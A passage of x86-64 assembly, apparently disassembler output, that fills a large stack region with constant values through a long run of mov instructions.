mov dword [rsp + 0x78b8], 0xff24
mov dword [rsp + 0x78bc], 0x3e2ec934
mov byte [rsp + 0x256], 0x4c
mov dword [rsp + 0x78c0], 0x27d
mov eax, 0xcf
mov word [rsp + 0x1804], ax
mov byte [rsp + 0x257], 0x67
mov byte [rsp + 0x258], 0xd7
mov dword [rsp + 0x78c4], 0x7ed5b05
mov dword [rsp + 0x78c8], 0x462a8c4c
mov byte [rsp + 0x259], 0xeb
mov dword [rsp + 0x78cc], 0x49fa35d0
mov byte [rsp + 0x25a], 0x16
mov dword [rsp + 0x78d0], 0x554e
mov eax, 0xe91
mov word [rsp + 0x1808], ax
mov byte [rsp + 0x25b], 0xbb
mov dword [rsp + 0x78d4], 0x1e34c575
mov eax, 0x44c
mov word [rsp + 0x180c], ax
mov eax, 0x3c6
mov word [rsp + 0x1810], ax
mov dword [rsp + 0x78d8], 0xdd8
mov byte [rsp + 0x25c], 0x46
mov byte [rsp + 0x25d], 0x4a
mov dword [rsp + 0x78dc], 0x32b7196e
mov dword [rsp + 0x78e0], 0x2a9a6e60
mov dword [rsp + 0x78e4], 0x647673bd
mov dword [rsp + 0x78e8], 0x37f2eb15
mov dword [rsp + 0x78ec], 0x74c6fc5c
mov eax, 0x74
mov word [rsp + 0x1814], ax
mov dword [rsp + 0x78f0], 0x19e65108
mov byte [rsp + 0x25e], 0x73
mov byte [rsp + 0x25f], 0x7e
mov dword [rsp + 0x78f4], 0x58c8
mov eax, 0x432
mov word [rsp + 0x1818], ax
mov eax, 0xf19
mov word [rsp + 0x181c], ax
mov dword [rsp + 0x78f8], 0x14a24a04
mov dword [rsp + 0x78fc], 0xa097
mov dword [rsp + 0x7900], 0xc509
mov eax, 0x72d
mov word [rsp + 0x1820], ax
mov dword [rsp + 0x7904], 0xcd35
mov byte [rsp + 0x260], 0xa8
mov byte [rsp + 0x261], 0x9d
mov dword [rsp + 0x7908], 0x6da6ae58
mov byte [rsp + 0x262], 0x87
mov dword [rsp + 0x790c], 0x2061e111
mov dword [rsp + 0x7910], 0x41520f4d
mov dword [rsp + 0x7914], 0x74cea7e0
mov dword [rsp + 0x7918], 0x3055
mov eax, 0x589
mov word [rsp + 0x1824], ax
mov dword [rsp + 0x791c], 0x1299ce6c
mov dword [rsp + 0x7920], 0x9739
mov byte [rsp + 0x263], 0x5c
mov dword [rsp + 0x7924], 0x6ebbb7bd
mov dword [rsp + 0x7928], 0x84f
mov dword [rsp + 0x792c], 0x6c6b
mov eax, 0x342
mov word [rsp + 0x1828], ax
mov eax, 0x3b
mov word [rsp + 0x182c], ax
mov dword [rsp + 0x7930], 0x733dc642
mov dword [rsp + 0x7934], 0x6541
mov eax, 0x4a2
mov word [rsp + 0x1830], ax
mov dword [rsp + 0x7938], 0x7e5c
mov dword [rsp + 0x793c], 0x43d459e4
mov dword [rsp + 0x7940], 0x3566
mov eax, 0xfa
mov word [rsp + 0x1834], ax
mov dword [rsp + 0x7944], 0xaa18836
mov dword [rsp + 0x7948], 0x330e2785
mov dword [rsp + 0x794c], 0x67c6526a
mov dword [rsp + 0x7950], 0x69ab72df
mov dword [rsp + 0x7954], 0x1cab4d10
mov dword [rsp + 0x7958], 0x1d32ddb5
mov dword [rsp + 0x795c], 0x55c2
mov byte [rsp + 0x264], 0x9d
mov dword [rsp + 0x7960], 0x78110630
mov dword [rsp + 0x7964], 0x213f
mov dword [rsp + 0x7968], 0xa447
mov byte [rsp + 0x265], 0xf5
mov dword [rsp + 0x796c], 0xaffc
mov byte [rsp + 0x266], 0x9a
mov byte [rsp + 0x267], 0x37
mov dword [rsp + 0x7970], 0x38807f2c
mov dword [rsp + 0x7974], 0x1ca7dac5
mov dword [rsp + 0x7978], 0x5993cc80
mov dword [rsp + 0x797c], 0x64e6ce98
mov dword [rsp + 0x7980], 0x2c6d8438
mov dword [rsp + 0x7984], 0x2d23f4fc
mov eax, 0xffb
mov word [rsp + 0x1838], ax
mov dword [rsp + 0x7988], 0x8258
mov byte [rsp + 0x268], 0x44
mov dword [rsp + 0x798c], 0x59ef
mov byte [rsp + 0x269], 0x17
mov eax, 0x1ea
mov word [rsp + 0x183c], ax
mov byte [rsp + 0x26a], 0x3d
mov dword [rsp + 0x7990], 0x76856e3d
mov byte [rsp + 0x26b], 0x95
mov dword [rsp + 0x7994], 0x259368a
mov dword [rsp + 0x7998], 0x19d7a34d
mov eax, 0x80f
mov word [rsp + 0x1840], ax
mov dword [rsp + 0x799c], 0x74c55f8d
mov eax, 0x7cd
mov word [rsp + 0x1844], ax
mov eax, 0x777
mov word [rsp + 0x1848], ax
mov byte [rsp + 0x26c], 0x4b
mov eax, 0x927
mov word [rsp + 0x184c], ax
mov dword [rsp + 0x79a0], 0x391a816f
mov dword [rsp + 0x79a4], 0x11225b95
mov dword [rsp + 0x79a8], 0x63e96acb
mov dword [rsp + 0x79ac], 0x6eea
mov dword [rsp + 0x79b0], 0x565bdcad
mov dword [rsp + 0x79b4], 0x1e65
mov dword [rsp + 0x79b8], 0x4872cd6e
mov dword [rsp + 0x79bc], 0x2f5772af
mov dword [rsp + 0x79c0], 0xa53c
mov eax, 0x43c
mov word [rsp + 0x1850], ax
mov byte [rsp + 0x26d], 0x6a
mov dword [rsp + 0x79c4], 0x702cbace
mov dword [rsp + 0x79c8], 0x6d6a049b
mov dword [rsp + 0x79cc], 0x7f6dd428
mov dword [rsp + 0x79d0], 0x3959d41b
mov dword [rsp + 0x79d4], 0x7d3294b1
mov dword [rsp + 0x79d8], 0x78abf422
mov eax, 0xb3a
mov word [rsp + 0x1854], ax
mov dword [rsp + 0x79dc], 0x7f9af42d
mov dword [rsp + 0x79e0], 0xfc11
mov dword [rsp + 0x79e4], 0xa62a
mov dword [rsp + 0x79e8], 0x5282
mov dword [rsp + 0x79ec], 0x193dbc71
mov eax, 0x6d0
mov word [rsp + 0x1858], ax
mov dword [rsp + 0x79f0], 0xa537
mov byte [rsp + 0x26e], 0x10
mov eax, 0x679
mov word [rsp + 0x185c], ax
mov dword [rsp + 0x79f4], 0x14477d7d
mov byte [rsp + 0x26f], 0x3b
mov byte [rsp + 0x270], 0x66
mov byte [rsp + 0x271], 0x9e
mov eax, 0xd07
mov word [rsp + 0x1860], ax
mov dword [rsp + 0x79f8], 0x726debf1
mov eax, 0x106
mov word [rsp + 0x1864], ax
mov eax, 0x42d
mov word [rsp + 0x1868], ax
mov dword [rsp + 0x79fc], 0x463f
mov dword [rsp + 0x7a00], 0x636b8b54
mov dword [rsp + 0x7a04], 0x4b7
mov dword [rsp + 0x7a08], 0x5949
mov dword [rsp + 0x7a0c], 0x6fc03eff
mov byte [rsp + 0x272], 0x97
mov dword [rsp + 0x7a10], 0x9d04
mov eax, 0xf5b
mov word [rsp + 0x186c], ax
mov eax, 0x83e
mov word [rsp + 0x1870], ax
mov dword [rsp + 0x7a14], 0x4075c291
mov byte [rsp + 0x273], 0x17
mov eax, 0x81b
mov word [rsp + 0x1874], ax
mov dword [rsp + 0x7a18], 0xc0b2
mov eax, 0xd1f
mov word [rsp + 0x1878], ax
mov eax, 0x3b0
mov word [rsp + 0x187c], ax
mov byte [rsp + 0x274], 0x1e
mov dword [rsp + 0x7a1c], 0xc632
mov eax, 0x28e
mov word [rsp + 0x1880], ax
mov dword [rsp + 0x7a20], 0x96ce
mov dword [rsp + 0x7a24], 0xf8ea
mov eax, 0x4b5
mov word [rsp + 0x1884], ax
mov byte [rsp + 0x275], 0x52
mov byte [rsp + 0x276], 0xa7
mov eax, 0x680
mov word [rsp + 0x1888], ax
mov byte [rsp + 0x277], 0x76
mov byte [rsp + 0x278], 0x24
mov eax, 0xcb1
mov word [rsp + 0x188c], ax
mov dword [rsp + 0x7a28], 0x65533865
mov byte [rsp + 0x279], 0x2e
mov dword [rsp + 0x7a2c], 0x4f54eb9f
mov byte [rsp + 0x27a], 0xd7
mov dword [rsp + 0x7a30], 0x55832a33
mov byte [rsp + 0x27b], 0xa2
mov dword [rsp + 0x7a34], 0x1c40
mov dword [rsp + 0x7a38], 0x6ae3af33
mov byte [rsp + 0x27c], 0x83
mov dword [rsp + 0x7a3c], 0xaa8d
mov dword [rsp + 0x7a40], 0xae6e
mov dword [rsp + 0x7a44], 0x6dc1280b
mov dword [rsp + 0x7a48], 0x55929ee4
mov dword [rsp + 0x7a4c], 0x482a0fdd
mov dword [rsp + 0x7a50], 0x77016830
mov dword [rsp + 0x7a54], 0x1069
mov dword [rsp + 0x7a58], 0x6a2329c5
mov eax, 0xeef
mov word [rsp + 0x1890], ax
mov eax, 0x6c1
mov word [rsp + 0x1894], ax
mov eax, 0xf61
mov word [rsp + 0x1898], ax
mov dword [rsp + 0x7a5c], 0x64e069c1
mov byte [rsp + 0x27d], 0x72
mov byte [rsp + 0x27e], 8
mov dword [rsp + 0x7a60], 0x7deb
mov byte [rsp + 0x27f], DrawInsert
mov eax, 0xa21
mov word [rsp + 0x189c], ax
mov byte [rsp + 0x280], 0xa
mov dword [rsp + 0x7a64], 0x3e1e23e
mov dword [rsp + 0x7a68], 0x2ecab7f1
mov dword [rsp + 0x7a6c], 0x74886bc7
mov dword [rsp + 0x7a70], 0x90dc
mov eax, 0x614
mov word [rsp + 0x18a0], ax
mov eax, 0xd77
mov word [rsp + 0x18a4], ax
mov eax, 0xbd1
mov word [rsp + 0x18a8], ax
mov dword [rsp + 0x7a74], 0x68eb02cb
mov dword [rsp + 0x7a78], 0x74d2
mov dword [rsp + 0x7a7c], 0x24f5d482
mov byte [rsp + 0x281], 0x99
mov dword [rsp + 0x7a80], 0xb28b
mov byte [rsp + 0x282], 0x27
mov dword [rsp + 0x7a84], 0x544bac61
mov byte [rsp + 0x283], 0x62
mov dword [rsp + 0x7a88], 0xc66a822
mov dword [rsp + 0x7a8c], 0xbcb7
mov byte [rsp + 0x284], 0x2a
mov eax, 0xf63
mov word [rsp + 0x18ac], ax
mov dword [rsp + 0x7a90], 0xc328
mov dword [rsp + 0x7a94], 0x62d
mov dword [rsp + 0x7a98], 0x1bcd94f5
mov dword [rsp + 0x7a9c], 0x23c3ea1a
mov dword [rsp + 0x7aa0], 0x69868c5f
mov dword [rsp + 0x7aa4], 0x15af5731
mov dword [rsp + 0x7aa8], 0x6d31ea1
mov byte [rsp + 0x285], 0x45
mov eax, 0x203
mov word [rsp + 0x18b0], ax
mov eax, 0x27c
mov word [rsp + 0x18b4], ax
mov eax, 0xd8c
mov word [rsp + 0x18b8], ax
mov byte [rsp + 0x286], 0x34
mov dword [rsp + 0x7aac], 0x2201ef8f
mov eax, 0xcd3
mov word [rsp + 0x18bc], ax
mov dword [rsp + 0x7ab0], 0x20a7c484
mov eax, 0x244
mov word [rsp + 0x18c0], ax
mov dword [rsp + 0x7ab4], 0xa99c
mov dword [rsp + 0x7ab8], 0x49a5ea0a
mov dword [rsp + 0x7abc], 0x984b
mov dword [rsp + 0x7ac0], 0xe303eaf
mov dword [rsp + 0x7ac4], 0x9e84
mov eax, 0x53d
mov word [rsp + 0x18c4], ax
mov dword [rsp + 0x7ac8], 0x46a59a81
mov eax, 0x5a1
mov word [rsp + 0x18c8], ax
mov dword [rsp + 0x7acc], 0x2bc49217
mov eax, 0x150
mov word [rsp + 0x18cc], ax
mov dword [rsp + 0x7ad0], 0x9ffc
mov dword [rsp + 0x7ad4], 0x2a8b5c9d
mov dword [rsp + 0x7ad8], 0x8099
mov byte [rsp + 0x287], 0x25
mov byte [rsp + 0x288], 0x1e
mov eax, 0x41c
mov word [rsp + 0x18d0], ax
mov dword [rsp + 0x7adc], 0x2a54b5e8
mov dword [rsp + 0x7ae0], 0x8a1f
mov eax, 0x48b
mov word [rsp + 0x18d4], ax
mov eax, 0x97a
mov word [rsp + 0x18d8], ax
mov dword [rsp + 0x7ae4], 0x2299
mov byte [rsp + 0x289], 0xfd
mov dword [rsp + 0x7ae8], 0xaefae2d
mov dword [rsp + 0x7aec], 0x1c17cf97
mov eax, 0x56c
mov word [rsp + 0x18dc], ax
mov dword [rsp + 0x7af0], 0x4ebbaa24
mov dword [rsp + 0x7af4], 0xb234
mov eax, 0xdb1
mov word [rsp + 0x18e0], ax
mov dword [rsp + 0x7af8], 0x922c
mov eax, 0x2ea
mov word [rsp + 0x18e4], ax
mov dword [rsp + 0x7afc], 0xd4a2
mov dword [rsp + 0x7b00], 0xffd0
mov dword [rsp + 0x7b04], 0x1a713057
mov dword [rsp + 0x7b08], 0x15d6
mov dword [rsp + 0x7b0c], 0xae47
mov dword [rsp + 0x7b10], 0x4e01c233
mov dword [rsp + 0x7b14], 0x9025
mov byte [rsp + 0x28a], 0xe2
mov dword [rsp + 0x7b18], 0x485a3aed
mov eax, 0xc22
mov word [rsp + 0x18e8], ax
mov eax, 0xe77
mov word [rsp + 0x18ec], ax
mov byte [rsp + 0x28b], DrawInsert
mov eax, 0x4b4
mov word [rsp + 0x18f0], ax
mov dword [rsp + 0x7b1c], 0xc81d
mov dword [rsp + 0x7b20], 0x2c24dd54
mov dword [rsp + 0x7b24], 0xc57
mov dword [rsp + 0x7b28], 0x44d8ebda
mov eax, 0x7ab
mov word [rsp + 0x18f4], ax
mov dword [rsp + 0x7b2c], 0x28ec9ff7
mov dword [rsp + 0x7b30], 0x4e70b7ab
mov eax, 0xe03
mov word [rsp + 0x18f8], ax
mov dword [rsp + 0x7b34], 0x1ed4b87d
mov dword [rsp + 0x7b38], 0x9330
mov dword [rsp + 0x7b3c], 0x78aee1cd
mov eax, 0xde8
mov word [rsp + 0x18fc], ax
mov dword [rsp + 0x7b40], 0x21cbd289
mov dword [rsp + 0x7b44], 0x7e3e212a
mov byte [rsp + 0x28c], 0x84
mov byte [rsp + 0x28d], 0x26
mov dword [rsp + 0x7b48], 0x1b9e3b2e
mov eax, 0xcce
mov word [rsp + 0x1900], ax
mov byte [rsp + 0x28e], 0xd1
mov eax, 0xe38
mov word [rsp + 0x1904], ax
mov dword [rsp + 0x7b4c], 0x4922e270
mov dword [rsp + 0x7b50], 0x4e91
mov dword [rsp + 0x7b54], 0x982a
mov dword [rsp + 0x7b58], 0x3cedb42e
mov dword [rsp + 0x7b5c], 0x8d2c
mov dword [rsp + 0x7b60], 0x141f
mov dword [rsp + 0x7b64], 0x5eb93c9c
mov eax, 0x14f
mov word [rsp + 0x1908], ax
mov dword [rsp + 0x7b68], 0xfb8
mov eax, 0x8c7
mov word [rsp + 0x190c], ax
mov dword [rsp + 0x7b6c], 0x6610
mov dword [rsp + 0x7b70], 0x13270aa4
mov byte [rsp + 0x28f], 0x44
mov byte [rsp + 0x290], 0x4f
mov dword [rsp + 0x7b74], 0xec59
mov dword [rsp + 0x7b78], 0x51440ddd
mov byte [rsp + 0x291], 0x66
mov byte [rsp + 0x292], 0x2a
mov dword [rsp + 0x7b7c], 0x1192f8c2
mov byte [rsp + 0x293], 0xaf
mov dword [rsp + 0x7b80], 0x44ef8aa6
mov dword [rsp + 0x7b84], 0x10b4a5ae
mov eax, 0xc96
mov word [rsp + 0x1910], ax
mov dword [rsp + 0x7b88], 0x4f304365
mov byte [rsp + 0x294], 0xaf
mov dword [rsp + 0x7b8c], 0x789a
mov dword [rsp + 0x7b90], 0x79f6
mov eax, 0xc68
mov word [rsp + 0x1914], ax
mov byte [rsp + 0x295], 0x20
mov dword [rsp + 0x7b94], 0xf436
mov dword [rsp + 0x7b98], 0xcb38a96
mov eax, 0x47d
mov word [rsp + 0x1918], ax
mov dword [rsp + 0x7b9c], 0x266c7b0d
mov dword [rsp + 0x7ba0], 0xc002
mov dword [rsp + 0x7ba4], 0x64e88d05
mov dword [rsp + 0x7ba8], 0x7417b03
mov eax, 0xbe7
mov word [rsp + 0x191c], ax
mov eax, 0xdec
mov word [rsp + 0x1920], ax
mov eax, 0xb23
mov word [rsp + 0x1924], ax
mov dword [rsp + 0x7bac], 0xbc28
mov dword [rsp + 0x7bb0], 0x9b73ba9
mov dword [rsp + 0x7bb4], 0x7e130bec
mov dword [rsp + 0x7bb8], 0x23c5f8d5
mov dword [rsp + 0x7bbc], 0x266bc6ea
mov eax, 0x662
mov word [rsp + 0x1928], ax
mov dword [rsp + 0x7bc0], 0x485aa0d7
mov dword [rsp + 0x7bc4], 0x1d9756ff
mov dword [rsp + 0x7bc8], 0x541c968b
mov dword [rsp + 0x7bcc], 0xd5e8
mov byte [rsp + 0x296], 0x24
mov byte [rsp + 0x297], 0x12
mov eax, 0x76d
mov word [rsp + 0x192c], ax
mov dword [rsp + 0x7bd0], 0x5e25c564
mov dword [rsp + 0x7bd4], 0x7091252e
mov dword [rsp + 0x7bd8], 0x3e9e
mov dword [rsp + 0x7bdc], 0x447a3ddc
mov eax, 0xb8f
mov word [rsp + 0x1930], ax
mov byte [rsp + 0x298], 0x55
mov dword [rsp + 0x7be0], 0x1cc166d3
mov eax, 0x56c
mov word [rsp + 0x1934], ax
mov dword [rsp + 0x7be4], 0x44d457c5
mov dword [rsp + 0x7be8], 0x1691
mov eax, 0x748
mov word [rsp + 0x1938], ax
mov eax, 0xeb2
mov word [rsp + 0x193c], ax
mov dword [rsp + 0x7bec], 0x58e6cd73
mov byte [rsp + 0x299], 0x3b
mov byte [rsp + 0x29a], 0xdf
mov dword [rsp + 0x7bf0], 0xdc5d
mov dword [rsp + 0x7bf4], 0x780cd38f
mov eax, 0xdcb
mov word [rsp + 0x1940], ax
mov dword [rsp + 0x7bf8], 0xd222
mov dword [rsp + 0x7bfc], 0xc3b3
mov eax, 0x2a3
mov word [rsp + 0x1944], ax
mov dword [rsp + 0x7c00], 0x6cd4b4fc
mov dword [rsp + 0x7c04], 0xb263
mov dword [rsp + 0x7c08], 0xb394d26
mov dword [rsp + 0x7c0c], 0x33ad13ae
mov dword [rsp + 0x7c10], 0x7f20338e
mov dword [rsp + 0x7c14], 0x3e433c3a
mov byte [rsp + 0x29b], 0x8f
mov eax, 0x8d
mov word [rsp + 0x1948], ax
mov byte [rsp + 0x29c], 0x52
mov dword [rsp + 0x7c18], 0x849
mov byte [rsp + 0x29d], 6
mov eax, 0xc2
mov word [rsp + 0x194c], ax
mov dword [rsp + 0x7c1c], 0x2f9ec189
mov dword [rsp + 0x7c20], 0x8273
mov dword [rsp + 0x7c24], 0x856c3fa
mov dword [rsp + 0x7c28], 0xf39c
mov eax, 0x9a2
mov word [rsp + 0x1950], ax
mov eax, 0xdfd
mov word [rsp + 0x1954], ax
mov byte [rsp + 0x29e], 0xf2
mov dword [rsp + 0x7c2c], 0x21c02557
mov dword [rsp + 0x7c30], 0x24a5674e
mov eax, 0x8b2
mov word [rsp + 0x1958], ax
mov dword [rsp + 0x7c34], 0x43af8abc
mov dword [rsp + 0x7c38], 0x1af33300
mov byte [rsp + 0x29f], 0x5d
mov dword [rsp + 0x7c3c], 0xa880
mov dword [rsp + 0x7c40], 0x1fbbb697
mov dword [rsp + 0x7c44], 0x3ea3f5f7
mov byte [rsp + 0x2a0], 0x51
mov byte [rsp + 0x2a1], 0x44
mov dword [rsp + 0x7c48], 0x434acd3
mov eax, pe_nt_image_headers64
mov word [rsp + 0x195c], ax
mov dword [rsp + 0x7c4c], 0x4a51209b
mov dword [rsp + 0x7c50], 0x676ca5f7
mov byte [rsp + 0x2a2], 0x11
mov byte [rsp + 0x2a3], 0xc9
mov dword [rsp + 0x7c54], 0x7243e488
mov dword [rsp + 0x7c58], 0x40fbfaeb
mov dword [rsp + 0x7c5c], 0x174b10fb
mov eax, 0x4c7
mov word [rsp + 0x1960], ax
mov dword [rsp + 0x7c60], 0x1a40
mov dword [rsp + 0x7c64], 0x46aed85
mov dword [rsp + 0x7c68], 0xb226
mov byte [rsp + 0x2a4], 0x58
mov byte [rsp + 0x2a5], 0x6a
mov dword [rsp + 0x7c6c], 0x7e11f955
mov dword [rsp + 0x7c70], 0x5c7b
mov dword [rsp + 0x7c74], 0x3597340f
mov dword [rsp + 0x7c78], 0x2defe0ce
mov dword [rsp + 0x7c7c], 0x461b6a3e
mov eax, 0xe2b
mov word [rsp + 0x1964], ax
mov eax, 0x4be
mov word [rsp + 0x1968], ax
mov dword [rsp + 0x7c80], 0x63a29cf0
mov dword [rsp + 0x7c84], 0x7c24751f
mov dword [rsp + 0x7c88], 0xe4b7
mov dword [rsp + 0x7c8c], 0x733fefbb
mov dword [rsp + 0x7c90], 0x7396
mov byte [rsp + 0x2a6], 0x86
mov dword [rsp + 0x7c94], 0x713c
mov dword [rsp + 0x7c98], 0x63b8959a
mov eax, 0x306
mov word [rsp + 0x196c], ax
mov byte [rsp + 0x2a7], 0x15
mov eax, 0x4ad
mov word [rsp + 0x1970], ax
mov eax, 0xfa
mov word [rsp + 0x1974], ax
mov byte [rsp + 0x2a8], 0xa7
mov byte [rsp + 0x2a9], 0xa2
mov byte [rsp + 0x2aa], 0x1d
mov dword [rsp + 0x7c9c], 0x67436f18
mov byte [rsp + 0x2ab], 0x71
mov dword [rsp + 0x7ca0], 0x11b8
mov dword [rsp + 0x7ca4], 0x73f2cebf
mov eax, 0x3c0
mov word [rsp + 0x1978], ax
mov dword [rsp + 0x7ca8], 0x705a
mov eax, 0x1e7
mov word [rsp + 0x197c], ax
mov dword [rsp + 0x7cac], 0x156323bd
mov byte [rsp + 0x2ac], 0x45
mov byte [rsp + 0x2ad], 0x62
mov dword [rsp + 0x7cb0], 0x1d24
mov dword [rsp + 0x7cb4], 0x430c440e
mov dword [rsp + 0x7cb8], 0x389f5a70
mov dword [rsp + 0x7cbc], 0x7f242854
mov dword [rsp + 0x7cc0], 0x6472b99c
mov byte [rsp + 0x2ae], 9
mov dword [rsp + 0x7cc4], 0xac3a
mov dword [rsp + 0x7cc8], 0x8d4e
mov dword [rsp + 0x7ccc], 0x5faa2299
mov byte [rsp + 0x2af], 0x49
mov dword [rsp + 0x7cd0], 0x32b713fb
mov eax, 0x8e
mov word [rsp + 0x1980], ax
mov byte [rsp + 0x2b0], 0xa2
mov byte [rsp + 0x2b1], 0x80
mov eax, 0x961
mov word [rsp + 0x1984], ax
mov byte [rsp + 0x2b2], 0x40
mov eax, 0x105
mov word [rsp + 0x1988], ax
mov dword [rsp + 0x7cd4], 0x1ea43ffd
mov dword [rsp + 0x7cd8], 0x368f51c4
mov dword [rsp + 0x7cdc], 0x28c3
mov byte [rsp + 0x2b3], 9
mov dword [rsp + 0x7ce0], 0xc311
mov eax, 0x74f
mov word [rsp + 0x198c], ax
mov dword [rsp + 0x7ce4], 0x60e750d5
mov byte [rsp + 0x2b4], 0x6b
mov eax, 0x400
mov word [rsp + 0x1990], ax
mov byte [rsp + 0x2b5], 0x42
mov byte [rsp + 0x2b6], 0xdd
mov eax, 0x43b
mov word [rsp + 0x1994], ax
mov byte [rsp + 0x2b7], 0x33
mov eax, 0x852
mov word [rsp + 0x1998], ax
mov eax, 0xae0
mov word [rsp + 0x199c], ax
mov dword [rsp + 0x7ce8], 0x5c4d1de9
mov dword [rsp + 0x7cec], 0x3e8
mov eax, 0xb90
mov word [rsp + 0x19a0], ax
mov dword [rsp + 0x7cf0], 0x8a77
mov eax, 0xa1a
mov word [rsp + 0x19a4], ax
mov eax, 0xa48
mov word [rsp + 0x19a8], ax
mov dword [rsp + 0x7cf4], 0x5028
mov dword [rsp + 0x7cf8], 0x7b0ac858
mov eax, 0x90b
mov word [rsp + 0x19ac], ax
mov eax, 0x4d8
mov word [rsp + 0x19b0], ax
mov byte [rsp + 0x2b8], 0x28
mov dword [rsp + 0x7cfc], 0x21b07c38
mov dword [rsp + 0x7d00], 0xf5a5
mov eax, 0xb2
mov word [rsp + 0x19b4], ax
mov eax, 0xddc
mov word [rsp + 0x19b8], ax
mov eax, 0x3df
mov word [rsp + 0x19bc], ax
mov dword [rsp + 0x7d04], 0x2a5e726e
mov byte [rsp + 0x2b9], 0x88
mov dword [rsp + 0x7d08], 0xe451
mov dword [rsp + 0x7d0c], 0x28f20209
mov dword [rsp + 0x7d10], 0x55aa8641
mov eax, 0xd4c
mov word [rsp + 0x19c0], ax
mov byte [rsp + 0x2ba], 0x2d
mov byte [rsp + 0x2bb], 0x5f
mov dword [rsp + 0x7d14], 0x2b66
mov dword [rsp + 0x7d18], 0x1ca4c677
mov eax, 0x4a4
mov word [rsp + 0x19c4], ax
mov dword [rsp + 0x7d1c], 0x64d375ec
mov eax, 0x718
mov word [rsp + 0x19c8], ax
mov dword [rsp + 0x7d20], 0xb5a4
mov dword [rsp + 0x7d24], 0xe45c79
mov byte [rsp + 0x2bc], 0xe1
mov dword [rsp + 0x7d28], 0x4f7f5841
mov dword [rsp + 0x7d2c], 0xe45e
mov byte [rsp + 0x2bd], 0xf7
mov dword [rsp + 0x7d30], 0x7ab491
mov dword [rsp + 0x7d34], 0x2cba
mov byte [rsp + 0x2be], 0x76
mov dword [rsp + 0x7d38], 0x5cdb
mov dword [rsp + 0x7d3c], 0x399c
mov byte [rsp + 0x2bf], 0x85
mov byte [rsp + 0x2c0], 0
mov dword [rsp + 0x7d40], 0xa005374
mov dword [rsp + 0x7d44], 0x76827b44
mov dword [rsp + 0x7d48], 0x5bb1477f
mov eax, 0x380
mov word [rsp + 0x19cc], ax
mov byte [rsp + 0x2c1], 0x32
mov dword [rsp + 0x7d4c], 0x22ad
mov dword [rsp + 0x7d50], 0x387131d0
mov byte [rsp + 0x2c2], 0x55
mov eax, 0xa5c
mov word [rsp + 0x19d0], ax
mov byte [rsp + 0x2c3], 0x9b
mov dword [rsp + 0x7d54], 0xac91eaf
mov byte [rsp + 0x2c4], 0xcb
mov eax, 0x596
mov word [rsp + 0x19d4], ax
mov dword [rsp + 0x7d58], 0x39d60b0c
mov eax, 0x338
mov word [rsp + 0x19d8], ax
mov eax, 0x2b7
mov word [rsp + 0x19dc], ax
mov dword [rsp + 0x7d5c], 0x1f26c7a3
mov dword [rsp + 0x7d60], 0x72cee3c3
mov byte [rsp + 0x2c5], 0x6c
mov byte [rsp + 0x2c6], 0x31
mov dword [rsp + 0x7d64], 0x6a0ec699
mov dword [rsp + 0x7d68], 0x307ae17c
mov dword [rsp + 0x7d6c], 0x7fa31367
mov eax, 0xefd
mov word [rsp + 0x19e0], ax
mov byte [rsp + 0x2c7], DrawInsert
mov dword [rsp + 0x7d70], 0xdd46
mov dword [rsp + 0x7d74], 0x3354483d
mov dword [rsp + 0x7d78], 0x6239f1ce
mov eax, 0x21e
mov word [rsp + 0x19e4], ax
mov byte [rsp + 0x2c8], 0xe8
mov byte [rsp + 0x2c9], 0xcb
mov dword [rsp + 0x7d7c], 0x3be8c48c
mov dword [rsp + 0x7d80], 0x566651fe
mov dword [rsp + 0x7d84], 0x5884b464
mov eax, 0x116
mov word [rsp + 0x19e8], ax
mov dword [rsp + 0x7d88], 0x6191daf4
mov dword [rsp + 0x7d8c], 0x67091761
mov eax, 0xde7
mov word [rsp + 0x19ec], ax
mov byte [rsp + 0x2ca], 0x23
mov dword [rsp + 0x7d90], 0x20db
mov eax, 0x2e7
mov word [rsp + 0x19f0], ax
mov dword [rsp + 0x7d94], 0x3a49
mov eax, 0x1de
mov word [rsp + 0x19f4], ax
mov byte [rsp + 0x2cb], 0xdf
mov byte [rsp + 0x2cc], 0x74
mov eax, 0x9d1
mov word [rsp + 0x19f8], ax
mov eax, 0x36e
mov word [rsp + 0x19fc], ax
mov dword [rsp + 0x7d98], 0x83ee201
mov byte [rsp + 0x2cd], 0xf6
mov byte [rsp + 0x2ce], 0x3a
mov byte [rsp + 0x2cf], 0x54
mov dword [rsp + 0x7d9c], 0x21ad37b5
mov dword [rsp + 0x7da0], 0x61ca
mov byte [rsp + 0x2d0], 0x7a
mov dword [rsp + 0x7da4], 0x594c9f36
mov dword [rsp + 0x7da8], 0x9c654bf
mov dword [rsp + 0x7dac], 0x5abef360
mov dword [rsp + 0x7db0], 0x32aad885
mov dword [rsp + 0x7db4], 0x6c42bae8
mov dword [rsp + 0x7db8], 0xb0d
mov byte [rsp + 0x2d1], 0x45
mov dword [rsp + 0x7dbc], 0x785d9b93
mov byte [rsp + 0x2d2], 0x61
mov dword [rsp + 0x7dc0], 0x44985d33
mov dword [rsp + 0x7dc4], 0x5c0d2440
mov dword [rsp + 0x7dc8], 0x88b
mov dword [rsp + 0x7dcc], 0xc608b3c
mov dword [rsp + 0x7dd0], 0xcd07
mov dword [rsp + 0x7dd4], 0x223ea8d4
mov dword [rsp + 0x7dd8], 0x2eeccee2
mov dword [rsp + 0x7ddc], 0x401f96a7
mov dword [rsp + 0x7de0], 0x4e97c018
mov dword [rsp + 0x7de4], 0x32a6db90
mov dword [rsp + 0x7de8], 0x6cf57f7c
mov dword [rsp + 0x7dec], 0x2807ebbb
mov dword [rsp + 0x7df0], 0x9497
mov dword [rsp + 0x7df4], 0x5dcf9973
mov dword [rsp + 0x7df8], 0x5cdabf48
mov byte [rsp + 0x2d3], 0x7d
mov eax, 0x58c
mov word [rsp + 0x1a00], ax
mov dword [rsp + 0x7dfc], 0x1143
mov byte [rsp + 0x2d4], 0x58
mov dword [rsp + 0x7e00], 0x5bf0d646
mov dword [rsp + 0x7e04], 0x7e15
mov dword [rsp + 0x7e08], 0x27ad1f88
mov dword [rsp + 0x7e0c], 0x2d2a71cd
mov byte [rsp + 0x2d5], 0x68
mov dword [rsp + 0x7e10], 0x632d48ac
mov dword [rsp + 0x7e14], 0x352bea9e
mov byte [rsp + 0x2d6], 0x16
mov byte [rsp + 0x2d7], 0x45
mov eax, 0x7a8
mov word [rsp + 0x1a04], ax
mov byte [rsp + 0x2d8], 0x65
mov dword [rsp + 0x7e18], 0x7dd3440d
mov dword [rsp + 0x7e1c], 0x2bc34052
mov dword [rsp + 0x7e20], 0xedf5
mov eax, 0xf3a
mov word [rsp + 0x1a08], ax
mov byte [rsp + 0x2d9], 0x57
mov dword [rsp + 0x7e24], 0x3569a357
